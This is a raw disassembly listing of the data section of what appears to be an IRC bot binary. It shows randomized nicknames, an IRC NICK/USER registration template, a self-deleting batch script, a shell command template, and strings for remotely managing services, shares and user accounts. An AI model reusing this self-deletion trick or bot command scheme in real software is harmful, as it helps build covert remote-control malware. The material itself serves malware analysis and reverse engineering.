aMuha		db 'muha',0             ; DATA XREF: ___:00438750o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:0043874Co
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438748o
aShit		db 'shit',0             ; DATA XREF: ___:00438744o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: ___:00438740o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:0043873Co
		align 4
off_4387F8	dd offset asc_594F40+2	; DATA XREF: ___:00438738o
aFree		db 'Free',0             ; DATA XREF: ___:00438724o
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: ___:00438720o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:00438714o
		align 4
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438708o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: ___:00438704o
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438700o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:004386E4o
aBbl		db '|bbl',0             ; DATA XREF: ___:004386D8o
		align 4
off_438838	dd offset loc_425242	; DATA XREF: ___:004386D4o
aMuckc		db 'muckc',0            ; DATA XREF: ___:004386C0o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:004386BCo
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:004386B8o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:004386B4o
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:004386B0o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: ___:004386ACo
aRt		db 'rt',0               ; DATA XREF: ___:004386A8o
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:004386A4o
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:004386A0o
		align 10h
aRg		db 'rg',0               ; DATA XREF: ___:0043869Co
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00438698o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00438678o
		align 10h
aQ8A		db '|q8|a',0            ; DATA XREF: ___:00438630o
		align 4
aQ8		db 'Q8',0               ; DATA XREF: ___:0043862Co
		align 4
aSick		db 'sick}}',0           ; DATA XREF: ___:00438628o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: ___:00438624o
aLuvuF		db '||luvu-f|',0        ; DATA XREF: ___:00438620o
		align 4
aGens		db '{gens|',0           ; DATA XREF: ___:0043861Co
		align 10h
aSex_0		db '{sex}',0            ; DATA XREF: ___:00438618o
		align 4
aHub		db '{hub}',0            ; DATA XREF: ___:00438614o
		align 10h
aLuck		db '|luck|',0           ; DATA XREF: ___:00438610o
		align 4
aSuck		db '|suck|',0           ; DATA XREF: ___:0043860Co
		align 10h
aTot		db '-|tot|',0           ; DATA XREF: ___:00438608o
		align 4
aWoh		db '|woh|',0            ; DATA XREF: ___:00438604o
		align 10h
aTambe		db '|tambe|',0          ; DATA XREF: ___:00438600o
aLag		db 'lag',0              ; DATA XREF: ___:004385FCo
aBad		db 'bad',0              ; DATA XREF: ___:004385F8o
aTree		db 'tree',0             ; DATA XREF: ___:004385F4o
		align 4
aZex		db 'zex',0              ; DATA XREF: ___:004385F0o
aLez		db 'lez',0              ; DATA XREF: ___:004385ECo
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:004385E4o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:004385E0o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:004385DCo
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:004385D8o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:004385D4o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:004385D0o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:004385CCo
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:004385C8o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:004385C4o
		align 10h
aCool30m	db 'cool30m',0          ; DATA XREF: ___:004385C0o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:004385BCo
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:004385B8o
		align 10h
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:004385B4o
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:004385B0o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:004385ACo
aAkden		db 'akden',0            ; DATA XREF: ___:004385A8o
		align 10h
aKoray		db 'KORAY',0            ; DATA XREF: ___:004385A4o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:004385A0o
		align 10h
aFirtina	db 'firtina',0          ; DATA XREF: ___:0043859Co
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00438598o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00438594o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00438590o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:0043858Co
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00438588o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:00438584o
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00438580o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:0043857Co
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:00438578o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:00438574o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:00438570o
		align 4
off_438A18	dd offset byte_4B5245	; DATA XREF: ___:0043856Co
aSevda		db 'sevda',0            ; DATA XREF: ___:00438568o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:00438564o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:00438560o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:0043855Co
		align 10h
aKapk		db 'kapk',0             ; DATA XREF: ___:00438558o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:00438554o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:00438550o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:0043854Co
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:00438548o
		align 10h
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:00438544o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:00438540o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:0043853Co
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:00438538o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:00438534o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:00438530o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:0043852Co
		align 10h
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:00438528o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:00438524o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:00438520o
		align 10h
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:0043851Co
		align 10h
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00438518o
aHoly		db 'holy',0             ; DATA XREF: ___:00438514o
		align 10h
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00438510o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:0043850Co
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00438508o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00438504o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00438500o
		align 10h
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:004384FCo
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:004384F8o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:004384F4o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:004384F0o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:004384ECo
aArda		db 'arda',0             ; DATA XREF: ___:004384E8o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:004384E4o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:004384E0o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:004384DCo
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:004384D8o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:004384D4o
		align 10h
aBogac		db 'bogac',0            ; DATA XREF: ___:004384D0o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:004384CCo
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:004384C8o
		align 4
off_438BAC	dd offset byte_457441	; DATA XREF: ___:004384C4o
dword_438BB0	dd 414C5941h, 2Dh	; DATA XREF: ___:004384C0o
aAlbina		db 'albina',0           ; DATA XREF: ___:004384BCo
		align 10h
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:004384B8o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:004384B4o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:004384B0o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:004384ACo
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:004384A8o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:004384A4o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:004384A0o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:0043849Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00438498o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00438494o
aAslii		db 'aslii',0            ; DATA XREF: ___:00438490o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:0043848Co
aHaticem	db 'haticem',0          ; DATA XREF: ___:00438488o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00438484o
		align 10h
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00438480o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:0043847Co
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:00438478o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: ___:00438474o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:00438470o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:0043846Co
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:00438468o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:00438464o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: ___:00438460o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:0043845Co
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:00438458o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:00438454o
		align 10h
aIrmal		db 'irmal',0            ; DATA XREF: ___:00438450o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:0043844Co
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:00438448o
		align 10h
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:00438444o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:00438440o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:0043843Co
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:00438438o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:00438434o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:00438430o
aReshma		db 'reshma',0           ; DATA XREF: ___:0043842Co
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:00438428o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:00438424o
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:00438420o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:0043841Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00438418o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00438414o
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00438410o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:0043840Co
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00438408o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00438404o
		align 10h
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00438400o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:004383FCo
		align 10h
aBunty		db 'bunty',0            ; DATA XREF: ___:004383F8o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:004383F4o
		align 10h
aCme		db 'cme',0              ; DATA XREF: ___:004383F0o
aMarcy		db 'marcy',0            ; DATA XREF: ___:004383ECo
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:004383E8o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:004383E4o
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:004383E0o
aFlexster	db 'flexster',0         ; DATA XREF: ___:004383DCo
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:004383D8o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:004383D4o
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:004383D0o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:004383CCo
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:004383C8o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:004383C4o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:004383C0o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:004383BCo
aFarooq		db 'farooq',0           ; DATA XREF: ___:004383B8o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:004383B4o
		align 4
aM_0:					; DATA XREF: ___:004383B0o
					; ___:004386FCo
		unicode	0, <M>,0
word_438E18	dw 4Eh			; DATA XREF: sub_419E7A+38r
					; ___:004383ACo
		align 4
dword_438E1C	dd 42h			; DATA XREF: ___:004383A8o
dword_438E20	dd 56h			; DATA XREF: ___:004383A4o
dword_438E24	dd 43h			; DATA XREF: ___:004383A0o
dword_438E28	dd 58h			; DATA XREF: ___:0043839Co
					; ___:00438730o
dword_438E2C	dd 5Ah			; DATA XREF: ___:00438398o
dword_438E30	dd 4Ch			; DATA XREF: ___:00438394o
dword_438E34	dd 4Bh			; DATA XREF: ___:00438390o
dword_438E38	dd 4Ah			; DATA XREF: ___:0043838Co
dword_438E3C	dd 48h			; DATA XREF: ___:00438388o
dword_438E40	dd 47h			; DATA XREF: ___:00438384o
dword_438E44	dd 46h			; DATA XREF: ___:00438380o
					; ___:004386F8o
dword_438E48	dd 44h			; DATA XREF: ___:0043837Co
dword_438E4C	dd 53h			; DATA XREF: ___:00438378o
dword_438E50	dd 50h			; DATA XREF: ___:00438370o
dword_438E54	dd 4Fh			; DATA XREF: ___:0043836Co
dword_438E58	dd 55h			; DATA XREF: ___:00438364o
word_438E5C	dw 59h			; DATA XREF: sub_41A19E+38r
					; ___:00438360o
		align 10h
dword_438E60	dd 54h			; DATA XREF: ___:0043835Co
dword_438E64	dd 52h			; DATA XREF: ___:00438358o
dword_438E68	dd 45h			; DATA XREF: ___:00438354o
dword_438E6C	dd 57h			; DATA XREF: ___:00438350o
dword_438E70	dd 51h			; DATA XREF: ___:0043834Co
dword_438E74	dd 62h			; DATA XREF: ___:00438340o
					; ___:00438634o ...
dword_438E78	dd 78h			; DATA XREF: ___:00438334o
					; ___:0043868Co
dword_438E7C	dd 7Ah			; DATA XREF: ___:00438330o
					; ___:00438694o ...
dword_438E80	dd 68h			; DATA XREF: ___:00438320o
					; ___:0043864Co
dword_438E84	dd 67h			; DATA XREF: ___:0043831Co
					; ___:00438648o ...
dword_438E88	dd 66h			; DATA XREF: ___:00438318o
					; ___:00438644o
dword_438E8C	dd 79h			; DATA XREF: ___:004382FCo
					; ___:00438690o
dword_438E90	dd 77h			; DATA XREF: ___:004382ECo
					; ___:00438688o
dword_438E94	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177D0+B1o
dword_438EA0	dd 323334h		; DATA XREF: sub_4177D0+79o
dword_438EA4	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177D0+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BB+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADE+BCo
					; sub_417ADE+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814D+72o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418294+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418338+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41835A+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_41835A+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_41835A+48o
		align 4
unk_43901C	db  2Dh	; -		; DATA XREF: sub_4184E2+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_43904C	db  2Dh	; -		; DATA XREF: sub_4184E2+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_439074	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E2+5Co
		dd 65726165h, 64h
off_439090	dd offset aAdd		; DATA XREF: sub_4186C2+60r
					; sub_418A99+51r ...
					; "Add"
off_439094	dd offset aAdded	; DATA XREF: sub_4186C2+2Dr
					; sub_418A99+83r ...
					; "Added"
dword_439098	dd 0			; DATA XREF: sub_4186C2+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 439104h, 4390FCh,	2, 4390F0h, 4390E4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:004390C4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:004390C0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:004390B8o
aStart_0	db 'Start',0            ; DATA XREF: ___:004390B4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:004390ACo
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:004390A8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:004390A0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0043909Co
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_439094o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_439090o
unk_439158	db  2Dh	; -		; DATA XREF: sub_4186C2+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_43917C	db  2Dh	; -		; DATA XREF: sub_4186C2+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_4391A8	db  2Dh	; -		; DATA XREF: sub_4186C2+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DE+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DE:loc_4188F6o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DE:loc_4188EFo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DE:loc_4188E8o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DE:loc_4188E1o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DE:loc_4188DAo
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DE:loc_4188D3o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DE:loc_4188CCo
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DE:loc_4188C5o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DE:loc_4188BEo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DE:loc_4188B7o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DE:loc_41888Co
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DE:loc_418885o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DE:loc_41887Eo
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DE:loc_418877o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DE+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DE:loc_41884Co
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DE:loc_418842o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DE:loc_418838o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DE:loc_41882Eo
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DE:loc_418824o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DE+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895C+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895C:loc_418A28o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895C:loc_418A21o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895C:loc_418A1Ao
aRunning	db '    Running',0      ; DATA XREF: sub_41895C:loc_418A13o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895C:loc_418A0Co
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895C:loc_418A05o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895C:loc_4189FEo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895C+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895C+25o
		align 4
unk_4396FC	db  2Dh	; -		; DATA XREF: sub_418A99+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_439720	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A99+8Ao
		dd 73252720h, 27h
unk_43973C	db  2Dh	; -		; DATA XREF: sub_418A99+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8F+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_418C8F+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8F+B5o
unk_439788	db  2Dh	; -		; DATA XREF: sub_418C8F+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8F+26o
		align 4
unk_4397E8	db  2Dh	; -		; DATA XREF: sub_418DB0+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_439810	db  2Dh	; -		; DATA XREF: sub_418DB0+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439840	db  2Dh	; -		; DATA XREF: sub_418DB0+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_439860	db  2Dh	; -		; DATA XREF: sub_418EF7+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF7+385o
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF7+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF7+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF7+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF7+2D9o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF7+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF7+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF7+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF7+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF7+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF7+1D7o
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF7+1ACo
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF7+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF7+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF7+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF7:loc_419016o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_418EF7:loc_41900Fo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF7:loc_419008o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF7+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF7+AFo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF7+84o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF7+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192E0+14Fo
		align 4
unk_439A1C	db  2Dh	; -		; DATA XREF: sub_4192E0+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_4192E0+BEo
		align 10h
unk_439A50	db  2Dh	; -		; DATA XREF: sub_4192E0+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192E0+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_419460:loc_41957Do
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_419460:loc_419576o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_419460:loc_41956Fo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_419460:loc_419568o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_419460:loc_419561o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_419460:loc_419544o
		db 'ord policy requirement.)',0
		align 4
